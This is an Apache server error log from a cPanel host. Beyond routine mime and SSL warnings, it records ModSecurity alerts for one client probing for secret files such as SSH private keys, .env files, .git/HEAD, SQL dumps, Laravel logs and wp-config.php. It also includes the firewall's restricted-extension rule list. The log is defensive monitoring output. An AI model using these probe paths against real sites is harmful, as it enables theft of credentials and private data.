[Fri Jul 17 10:04:51.628929 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.628949 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.628969 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.628991 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629012 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629033 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629085 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629112 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629135 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629157 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629190 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629214 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629236 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629258 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629279 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629301 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629322 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629343 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629363 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629384 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629404 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629425 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629444 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629464 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629485 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629506 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629542 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629578 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.629609 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632212 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632282 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632323 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632348 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632371 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632394 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632416 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632438 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632460 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632481 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632502 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632524 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632546 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632568 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632590 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632611 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632640 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632664 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632685 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632706 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632727 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632748 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632769 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632790 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.632810 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.674874 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.674968 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.675005 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.675030 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.675074 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.675105 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.675131 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.675157 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.787747 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:52.789867 2026] [ssl:error] [pid 2064879:tid 2064879] (70014)End of file found: [client 66.85.158.91:46728] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:04:53.336383 2026] [ssl:error] [pid 2060590:tid 2060590] (5)Input/output error: [client 66.85.158.91:46786] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:04:53.793182 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:46840] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:04:55.929653 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:47378] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:04:56.416662 2026] [security2:error] [pid 2018768:tid 2018768] [client 81.171.74.60:0] ModSecurity: Warning. Matched phrase ".ssh/id_rsa" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/.ssh/id_rsa"] [unique_id "almw8FCBpfuYyhJ140vfOQAAAB4"]
[Fri Jul 17 10:04:56.416991 2026] [security2:error] [pid 2018768:tid 2018768] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/.ssh/id_rsa"] [unique_id "almw8FCBpfuYyhJ140vfOQAAAB4"]
[Fri Jul 17 10:04:56.417582 2026] [security2:error] [pid 2018768:tid 2018768] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/.ssh/id_rsa"] [unique_id "almw8FCBpfuYyhJ140vfOQAAAB4"]
[Fri Jul 17 10:04:56.454690 2026] [security2:error] [pid 2065293:tid 2065293] [client 81.171.74.60:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/_vti_pvt/service.pwd"] [unique_id "almw8HqWRBnLzLzgwXgzpgAAAAQ"]
[Fri Jul 17 10:04:56.455167 2026] [security2:error] [pid 2065293:tid 2065293] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/_vti_pvt/service.pwd"] [unique_id "almw8HqWRBnLzLzgwXgzpgAAAAQ"]
[Fri Jul 17 10:04:56.455623 2026] [security2:error] [pid 2065293:tid 2065293] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/_vti_pvt/service.pwd"] [unique_id "almw8HqWRBnLzLzgwXgzpgAAAAQ"]
[Fri Jul 17 10:04:56.512417 2026] [security2:error] [pid 2050576:tid 2050576] [client 81.171.74.60:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/storage/logs/laravel.log"] [unique_id "almw8JuhBssQvDAz4zCtcAAAABI"]
[Fri Jul 17 10:04:56.512803 2026] [security2:error] [pid 2050576:tid 2050576] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/storage/logs/laravel.log"] [unique_id "almw8JuhBssQvDAz4zCtcAAAABI"]
[Fri Jul 17 10:04:56.513254 2026] [security2:error] [pid 2050576:tid 2050576] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/storage/logs/laravel.log"] [unique_id "almw8JuhBssQvDAz4zCtcAAAABI"]
[Fri Jul 17 10:04:56.614377 2026] [security2:error] [pid 2064883:tid 2064883] [client 81.171.74.60:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/.env"] [unique_id "almw8AgUGKrGY1YsJl1uKwAAAAY"]
[Fri Jul 17 10:04:56.614651 2026] [security2:error] [pid 2064883:tid 2064883] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/.env"] [unique_id "almw8AgUGKrGY1YsJl1uKwAAAAY"]
[Fri Jul 17 10:04:56.615086 2026] [security2:error] [pid 2064883:tid 2064883] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/.env"] [unique_id "almw8AgUGKrGY1YsJl1uKwAAAAY"]
[Fri Jul 17 10:04:56.680346 2026] [security2:error] [pid 2063441:tid 2063441] [client 81.171.74.60:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/.git/HEAD"] [unique_id "almw8NKHXJzatLSGO6IsxQAAABU"]
[Fri Jul 17 10:04:56.680802 2026] [security2:error] [pid 2063441:tid 2063441] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/.git/HEAD"] [unique_id "almw8NKHXJzatLSGO6IsxQAAABU"]
[Fri Jul 17 10:04:56.681507 2026] [security2:error] [pid 2063441:tid 2063441] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/.git/HEAD"] [unique_id "almw8NKHXJzatLSGO6IsxQAAABU"]
[Fri Jul 17 10:04:56.780623 2026] [security2:error] [pid 2030804:tid 2030804] [client 81.171.74.60:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/api/.env"] [unique_id "almw8Ie39YUk0SgV8AVGxQAAABE"]
[Fri Jul 17 10:04:56.780975 2026] [security2:error] [pid 2030804:tid 2030804] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/api/.env"] [unique_id "almw8Ie39YUk0SgV8AVGxQAAABE"]
[Fri Jul 17 10:04:56.790713 2026] [security2:error] [pid 2030804:tid 2030804] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/api/.env"] [unique_id "almw8Ie39YUk0SgV8AVGxQAAABE"]
[Fri Jul 17 10:04:56.947257 2026] [authz_core:error] [pid 2064883:tid 2064883] [client 81.171.74.60:0] AH01630: client denied by server configuration: /home/weeratra/public_html/wp-config.php
[Fri Jul 17 10:04:57.175685 2026] [security2:error] [pid 2050576:tid 2050576] [client 81.171.74.60:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/dump.sql"] [unique_id "almw8ZuhBssQvDAz4zCtcgAAABI"]
[Fri Jul 17 10:04:57.176089 2026] [security2:error] [pid 2050576:tid 2050576] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/dump.sql"] [unique_id "almw8ZuhBssQvDAz4zCtcgAAABI"]
[Fri Jul 17 10:04:57.176484 2026] [security2:error] [pid 2050576:tid 2050576] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/dump.sql"] [unique_id "almw8ZuhBssQvDAz4zCtcgAAABI"]
[Fri Jul 17 10:04:57.330815 2026] [security2:error] [pid 2065297:tid 2065297] [client 81.171.74.60:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/backup.sql"] [unique_id "almw8YQPslXM9Iu5soRrxQAAAAg"]
[Fri Jul 17 10:04:57.331300 2026] [security2:error] [pid 2065297:tid 2065297] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/backup.sql"] [unique_id "almw8YQPslXM9Iu5soRrxQAAAAg"]
[Fri Jul 17 10:04:57.331817 2026] [security2:error] [pid 2065297:tid 2065297] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/backup.sql"] [unique_id "almw8YQPslXM9Iu5soRrxQAAAAg"]
